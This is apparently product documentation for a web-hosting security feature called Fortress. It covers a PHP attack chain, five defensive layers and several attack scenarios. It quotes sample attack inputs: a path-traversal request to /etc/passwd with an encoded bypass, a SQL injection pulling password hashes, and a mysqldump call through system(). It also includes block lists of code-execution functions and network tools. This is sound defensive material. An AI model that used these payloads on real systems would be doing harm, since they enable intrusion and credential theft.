Threat Model & Fortress Coverage

How web attacks reach your site, what Fortress blocks at each layer, and what you still need to handle outside Fortress.

Fortress is a defense in depth system: five independent layers, each catching what the previous one missed. A single Fortress switch enables all five for the selected container.

How attackers reach a PHP website

Real-world attacks rarely use a single vulnerability. The chain usually looks like this:

1. Reconnaissance — bot scans your site looking for known plugins, exposed .env files, login pages, common URLs.
2. Entry point — exploits one of: vulnerable plugin/theme, weak admin password, file upload form, unpatched CMS core, exposed API.
3. Foothold — uploads a webshell or backdoor PHP file inside wp-content/uploads/, images/, or anywhere writable.
4. Privilege escalation — runs commands as www-data to read the database, dump credentials, install rootkit.
5. Persistence — modifies CMS code to plant a long-term backdoor that survives plugin updates.
6. Exfiltration — sends stolen data (DB dump, customer info, source code) to a remote server.
7. Monetization — sells the data, plants spam, redirects traffic, mines crypto, ransoms the site.

Fortress disrupts this chain at every step.

The 5 Fortress layers

Layer 1 — WAF (nginx HTTP filter)

Filters malicious HTTP requests before they reach PHP. Each rule can be toggled individually in Fortress → WAF:

Layer 2 — PHP Hardening (disable_functions + open_basedir)

If an attacker manages to execute PHP code (via vulnerable plugin or RCE), the dangerous functions are neutralized. Configurable in Fortress → PHP → Blocked functions:

• Code execution — exec, shell_exec, system, passthru, proc_open, popen, pcntl_exec
• Classic webshells — eval, assert (Strict mode)
• Network exfiltration — fsockopen, stream_socket_client, socket_*
• System introspection — phpinfo, posix_uname, dl(), putenv
• open_basedir — PHP confined to the docroot + explicit paths (cannot read /etc/, /home/other-clients/, system logs)

The list is CMS-aware: WordPress, Joomla, PrestaShop, Drupal and Laravel each have their required functions auto-allowed so the site keeps working.

Layer 3 — Binary Hardening (chmod 700)

If the attacker bypasses disable_functions (rare PHP bug, FFI extension), they still cannot run external binaries. Applied automatically when Fortress is enabled:

• Database dump — mysqldump, pg_dump, pg_dumpall, mysql, psql
• Alternative interpreters — php (CLI), python3, perl, ruby, node
• Direct network transfer — ssh, scp, sftp, ftp
• Strict mode adds — curl, wget, nc, socat, tar, gzip, base64

These binaries are chmod 700 and chown root:root — invisible to www-data even with shell access.

Layer 4 — Egress firewall (outbound iptables)

Restricts what the container can connect to on the internet:

• Standard — allows known CDNs, DNS, NTP, SMTP. Blocks raw outbound to random IPs.
• Strict — explicit IP whitelist only. The attacker cannot exfiltrate stolen data to evil.com even with curl.

Layer 5 — Shield (filesystem read-only)

The docroot is mounted read-only at the kernel level. Only specific folders stay writable (wp-content/uploads, cache directories, sessions). Even with full RCE, the attacker:

• Cannot modify CMS core files
• Cannot plant a persistent backdoor in plugin/theme files
• Cannot edit wp-config.php to steal future credentials
• Can only write to upload folders, where nginx is configured not to execute PHP

Concrete attack scenarios

Scenario A: Vulnerable WordPress plugin (LFI)

1. Attacker: GET /wp-content/plugins/buggy/file.php?page=../../etc/passwd
2. WAF blocks the ../ pattern → 403
3. If WAF is bypassed (URL-encoded %2e%2e/): open_basedir blocks PHP from reading /etc/

Scenario B: Webshell upload via contact form

1. Attacker uploads evil.php disguised as evil.jpg
2. WAF upload_php detects PHP extension in /wp-content/uploads/ → 403
3. If the file slips through: Upload Scanner runs YARA + entropy → file quarantined
4. If quarantine misses it: Shield keeps wp-content/uploads writable but nginx refuses to execute PHP from there

Scenario C: SQL injection trying to dump the DB

1. Attacker: ?id=1 UNION SELECT user_pass FROM wp_users
2. WAF sqli blocks → 403
3. If bypassed: the vulnerable PHP returns query results only — limited leak, no full dump
4. Attacker tries system("mysqldump -uroot --all-databases"): disable_functions stops it
5. Attacker bypasses via FFI: mysqldump chmod 700 → Permission denied

Scenario D: Persistent backdoor after RCE

1. Attacker has a one-time RCE and wants to write backdoor.php for later access
2. Shield read-only → fwrite() fails on every CMS path
3. The only writable location is wp-content/uploads, where nginx returns 404 for any .php

Scenario E: Admin brute-force

1. Attacker: 10,000 login attempts on /wp-login.php
2. WAF rate_limit → 5 req/min per IP, returns 429 on the other 9,995
3. Imunify360 (if installed) bans the IP after repeated 429
4. Valid credentials remain a risk → 2FA at the WordPress level is mandatory (outside Fortress scope)

What Fortress does NOT cover

Some attack vectors are outside any web hardening layer — they require dedicated tools or human discipline:

Recommended layers per CMS

The Fortress wizard pre-selects sensible defaults per CMS, but here is the rationale:

• WordPress — Fortress + Wordfence (2FA + Login Security) + WP Toolkit auto-update + Imunify360 if shared hosting
• Joomla — Fortress + Akeeba Admin Tools (equivalent to Wordfence) + 2FA on /administrator/
• PrestaShop — Fortress + IP whitelist on /adminXXX/ + Strict mode disabled (back-office needs proc_open for PDF invoices)
• Drupal — Fortress Strict + Security Kit module + Composer-only updates (never edit core)
• Laravel — Fortress Strict + APP_DEBUG=false in production + Telescope for anomaly detection + never expose php artisan over HTTP

How to validate your protection

The Fortress Simulator (Fortress → Simulator → Run scan) runs ~17 realistic attacks against all 5 layers and reports which ones are blocked. Run it:

• After enabling Fortress for the first time
• After upgrading the CMS or major plugins
• After changing the security level (Standard ↔ Strict)
• Monthly as a routine check

A green "X/X tests passed — defense in depth OK" means all layers are operational. Any red result points to a specific layer that needs tuning.

Coverage summary

Fortress covers roughly 80% of real-world application attacks — the entire OWASP Top 10 (Injection, Broken Auth indirectly via rate-limit, Sensitive Data Exposure via headers, XXE, Broken Access Control via WAF, Security Misconfiguration via hardening, XSS, Insecure Deserialization, Known Vulnerabilities mitigation, Insufficient Logging via headers).

The remaining 20% — credential theft, 0-days, social engineering, volumetric DDoS — needs to be handled by complementary tools: 2FA, automated patching, upstream DDoS protection, and human awareness.

Fortress is necessary but not sufficient. Combine it with the recommendations above to reach production-grade security.